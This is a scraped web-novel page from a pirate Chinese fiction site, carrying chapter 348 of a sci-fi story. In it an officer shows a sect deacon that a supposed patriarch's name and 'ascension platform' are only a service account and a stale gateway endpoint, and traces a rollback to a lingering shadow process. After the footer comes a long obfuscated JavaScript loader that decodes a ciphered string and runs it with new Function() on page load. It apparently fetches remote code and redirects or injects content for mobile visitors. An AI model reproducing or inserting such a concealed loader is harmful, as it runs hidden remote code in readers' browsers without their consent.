首页
第348章 请不要把服务端点
返回
关灯 护眼:关 字号:小

第348章 请不要把服务端点解释成飞升台

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第348章请不要把服务端点解释成飞升台(第1/2页)
    控制室空调的低频嗡鸣没断过,像某种活物在墙壁里呼吸。
    屏幕重新亮起后,那串灰底白字的字符安静地躺在原来“祖师·天衡正宗”的位置上。
    svc_tianheng_root。
    赵星盯着它看了三秒,喉结没动。
    技术员的手指悬在键盘上方,指节白得像纸。执事从侧后方跨了一步,袍角带起一阵风——然后停住了。他看见了那串字符,瞳孔缩了一下,又松开。
    “这是……”执事的声音迟疑了一下,像在试探脚下的冰面,“祖师真名的原始形态?”
    赵星转过头看他。目光从他脸上扫过,停了一秒。“这是服务账号名。”
    “服务……账号?”
    “svc,service的缩写。”赵星指着屏幕,指尖离玻璃只差一厘米,“不是‘师承venerablecanon’,是‘服务’。这台机器上跑着几百个类似的东西,负责日志转发、权限校验、定时任务——”
    “荒谬。”执事的声音冷下来,像刀背磕在石头上,“天衡宗传承千年,祖师名讳岂能与——”
    “创建时间。”赵星打断他,“技术员,展开账号属性。”
    技术员的手指抖了一下,然后敲了个命令。屏幕右侧弹出一个属性面板:
    账号名:svc_tianheng_root
    权限组:legacy-admin
    创建时间:星历227年·霜月·初七
    最近登录:星历230年·寒月·廿三·酉时三刻
    执事凑近屏幕,袍袖擦过赵星的手臂,布料摩擦带起微弱的静电。他的目光在“创建时间”那行字上停了很久,像钉子钉进木头里。
    “星历227年……”执事低声念了一遍,声音像从喉咙深处挤出来的,“那是联邦使馆区奠基之年。”
    “对。”赵星说,“这个账号和使馆区系统同时创建,权限等级是‘遗留管理员’——legacy-admin,意思是旧系统迁移时保留的超级权限。”
    执事的嘴角抽了一下,像被针扎了一下。“道友的意思是,祖师权限……是贵使团建馆时留下的?”
    “不是我说的,是日志说的。”
    赵星点开“最近登录”旁边的展开箭头。屏幕刷新,弹出一列时间戳:
    星历230年·寒月·廿三·酉时三分——登录成功
    星历230年·寒月·廿三·酉时四分——执行:rollback_tianheng_config
    星历230年·寒月·廿三·酉时四分——执行完成
    赵星的目光钉在倒数第二行上。呼吸停了一拍。
    酉时四分。回滚操作发生的时间。
    “最后一次登录,”他指着屏幕,指尖在玻璃上留下一个模糊的指纹,“是回滚发生前三十七秒。”
    执事沉默了片刻。袍袖里的手攥紧又松开。“这岂非说明……祖师确在关键时刻显灵?”
    “不。”赵星说,“这说明有人用这个账号远程执行了一条回滚命令。”
    “何人能用祖师账号?”
    “问得好。”赵星转向技术员,“展开调用链。”
    技术员的喉结上下滚了一下,像吞了口沙子。他敲了个命令,屏幕左侧弹出一棵调用树,每一层都带着时间戳和来源IP。
    第一层:svc_tianheng_root→执行:rollback_tianheng_config
    第二层:调用来源→ascension-gateway
    第三层:调用方式→自动重试(第三次)
    赵星盯着“ascension-gateway”这串字符,没说话。嘴唇抿成一条线。
    执事也看见了。他的瞳孔缩了一下,像猫在暗处看见光。声音里带上了一丝兴奋:“‘ascension’——这是‘飞升’之意!”
    赵星没回答。
    “‘飞升台’!”执事的声音拔高了,像绷紧的弦突然松开,“天衡宗古籍记载,祖师飞升时曾留下登天之法——原来贵使团将此道命名为‘ascension-gateway’!道友,你们一直在替祖师守护飞升通道而不自知!”
    “……”赵星转过头看他,目光像一把钝刀,“‘ascension-gateway’是个服务端点。”
    “服务端点?”
    “endpoint。网络接口。一台机器向另一台机器发请求用的。”
    执事沉默了片刻。袍袖里的手指在布料上捻了一下。“‘endpoint’在贵邦语言中,是否可译为‘飞升尽头’?”
    “不。”
    “那——”
    “在网络里,”赵星说,“它通常只是另一台机器。”
    ***
    控制室的空气安静了几秒。空调的嗡鸣声像被压进墙壁里,闷闷地震着。
    技术员的手指还悬在键盘上方,指甲盖泛着青。执事的袍袖纹丝不动,像一尊石像。只有空调的低频嗡鸣在墙壁里持续震颤,像某种活物在等待。
    赵星点开“ascension-gateway”旁边的展开箭头。
    屏幕刷新,弹出一段调用日志:
    请求ID:req_asc_230_1123_0642
    来源:ascension-gateway
    目标:svc_tianheng_root
    操作:rollback_tianheng_config
    触发条件:三次重试(第一次失败→第二次失败→第三次成功)
    失败原因(原始):connectiontimeout/authmi**atch/fallbacktriggered
    赵星的目光落在最后一行上。瞳孔微微收缩。
    “三次重试。”他念出声,声音像从喉咙里刮出来的,“第一次连接超时,第二次认证不匹配,第三次触发遗留管理员回退。”
    执事的声音从侧后方传来,像从很远的地方飘过来的:“这‘三次重试’……在宗门礼法中,是否对应‘叩门不应’、‘香火不足’、‘祖师默许’?”
    赵星转过头看他。目光在他脸上停了两秒。“什么?”
    “礼法兼容层关闭前,这些失败原因显示的是——”执事的嘴角抽了一下,像被什么扯了一下,“‘叩门不应’、‘香火不足’、‘祖师默许’。”
    赵星盯着执事的眼睛看了两秒,然后转回屏幕。手指在桌面上敲了一下。“技术员,把礼法兼容层的翻译映射表调出来。”
    技术员敲了个命令。屏幕右侧弹出一张对照表:
    connectiontimeout→叩门不应
    authmi**atch→香火不足
    fallbacktriggered→祖师默许
    赵星看着这三行对照,没说话。嘴唇抿得更紧了。
    执事的声音沉下来,像石头沉进水里:“道友,礼法翻译虽有夸张之处,但‘叩门’、‘香火’、‘祖师’皆非凭空捏造——贵使团网关名中有‘ascension’二字,岂非天意?”
    (本章未完,请点击下一页继续阅读)第348章请不要把服务端点解释成飞升台(第2/2页)
    “‘ascension’是命名规范。”赵星说,声音里带着一丝疲惫,“联邦所有临时网关都用这个前缀,表示它是过渡用的。”
    “过渡……”
    “对。这个网关三年前就该下线了。”
    赵星点开ascension-gateway的属性面板。创建时间:星历227年·霜月·初七——和svc_tianheng_root同一天。备注栏里有一行被截断的旧备注:
    forcompatibilityfallbackonly——仅用于兼容性回退。
    执事盯着那行备注,沉默了很久。袍袖里的手攥成拳,指节发白。
    “所以,”他的声音低下来,像漏气的气球,“回滚不是祖师显灵,不是祖师闭关,不是祖师真名,不是祖师转世——”
    “对。”
    “只是一个……自动重试的……服务端点。”
    “对。”
    执事的嘴角抽了一下。他的手从袍袖里伸出来,攥成拳,又松开。指甲在掌心留下几道白印。
    “那,”他的声音带上了一丝沙哑,像砂纸刮过喉咙,“那‘飞升台’……”
    “‘ascension-gateway’。”赵星说,“翻译过来叫‘升迁网关’——升职的升,搬迁的迁。”
    执事沉默了片刻。嘴唇动了动,没发出声音。“‘升迁’……”
    “对。”
    “不是飞升?”
    “不是。”
    ***
    控制室的空气安静了几秒。空调的嗡鸣声像被压进墙壁里,闷闷地震着。
    执事的手放回袍袖里,攥得很紧,布料上能看见手指的轮廓。技术员的手指还悬在键盘上方,指甲盖泛着青。只有空调的低频嗡鸣没断过,像某种活物在墙壁里呼吸。
    赵星的目光落在调用日志的第三层——那个“三次重试”的条目下面,还有一行小字:
    source_zone:embassy-quarantine
    他的手指顿了一下,悬在鼠标上方没动。
    “技术员,展开source_zone。”
    技术员敲了个命令。屏幕刷新,弹出一个区域标识:
    来源区域:embassy-quarantine(使团隔离区)
    来源终端:TERM-QUAR-07
    终端状态:无人登录,后台进程活跃
    赵星盯着“embassy-quarantine”这串字符,没说话。呼吸变得很浅。
    执事也看见了。他的瞳孔缩了一下,像针尖扎进瞳孔。声音里带上了一丝冷意:“道友,‘使团隔离区’……是贵使团的区域?”
    赵星没回答。手指在桌面上敲了两下。
    “三次重试,”执事的声音沉下来,像铁块砸在地上,“第一次叩门不应,第二次香火不足,第三次祖师默许——结果源头在贵使团的隔离终端?”
    赵星转过头看他。目光像一把钝刀,慢慢刮过执事的脸。“你想说什么?”
    “我想说——”执事的嘴角抽了一下,像被什么扯了一下,“贵使团自导自演,先制造回滚,再拆穿解释,最后把责任推给宗门——好一套连环计。”
    “证据呢?”
    “证据就在屏幕上。”执事指着“embassy-quarantine”那行字,指尖几乎戳到屏幕,“贵使团隔离终端,无人登录状态下向天衡宗网关发起握手——这难道不是外魔入侵?”
    赵星看了他两秒,然后转向联邦值班官。目光没有离开执事的脸。“拉取TERM-QUAR-07的进程列表。”
    值班官的手指在键盘上敲了几下。屏幕右侧弹出一列进程:
    lotus_adapter_shadow(礼法兼容层·影子进程)
    状态:活跃
    内存占用:47MB
    最近活动:3秒前
    赵星盯着“lotus_adapter_shadow”这串字符,瞳孔缩了一下,像被光刺了一下。
    “礼法兼容层,”他低声说,声音像从喉咙深处挤出来的,“影子进程。”
    值班官的脸色变了,嘴唇微微发白。“赵组长,礼法兼容层已经——”
    “关闭了。”赵星打断他,声音里带着一丝紧绷,“但影子进程还在跑。”
    执事的声音从侧后方传来,像从很远的地方飘过来的:“道友,这是在说——”
    “礼法兼容层没有完全退出后台。”赵星指着屏幕,指尖离玻璃只差一厘米,“它留了一个影子进程,挂在使团隔离终端上,持续向天衡宗网关发送握手请求。”
    执事的嘴角抽了一下,像被针扎了一下。“所以……”
    “所以回滚不是人点的,是程序自动重试触发的。”
    赵星转过身,看着执事的眼睛。目光没有躲闪。
    “第一次连接超时,因为礼法兼容层关闭导致服务中断。第二次认证不匹配,因为影子进程用的是旧凭证。第三次触发legacy-admin回退——因为影子进程的权限映射还在。”
    执事沉默了片刻。袍袖里的手指在布料上捻了一下。“那这影子进程……”
    “是谁装的。”
    赵星转向技术员。声音里带着一丝冷意。“冻结TERM-QUAR-07的会话,保全所有日志。从现在开始,这台终端的所有操作都要记录下来。”
    技术员的手指在键盘上敲了几下。屏幕弹出确认框——会话已冻结。
    然后,屏幕亮了一下。
    不是刷新那种亮——是终端屏幕自动亮起,像有人按了唤醒键。屏幕的光打在赵星脸上,把他的影子拉得很长。
    赵星的目光钉在屏幕上。呼吸停了一拍。
    屏幕中央弹出一条新请求:
    是否以legacy-admin身份继续同步祖师权限?
    [确认][取消]
    光标悬在“确认”按钮上。像一只停在按钮上的苍蝇。
    赵星的手指悬在键盘上方,没动。指尖微微发白。
    执事的声音从侧后方传来,沙哑得像砂纸刮过铁皮:“道友,这……”
    “有人在远程操作这台终端。”赵星说。声音很轻,像怕惊动什么。
    “何人?”
    赵星没回答。他盯着屏幕上的光标——它正在缓慢地、有节奏地闪烁,像某种活物在呼吸。一秒,两秒,三秒——每一次闪烁都像心跳。
    光标停在“确认”按钮上,没有移动。
    它在等。
    空调的低频嗡鸣在墙壁里持续震颤,像某种活物在墙壁里爬行。控制室的灯光白得像手术台,把每个人的脸照得没有血色。屏幕上的光标还在闪烁,一秒,两秒,三秒——
    然后它自己按了下去。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();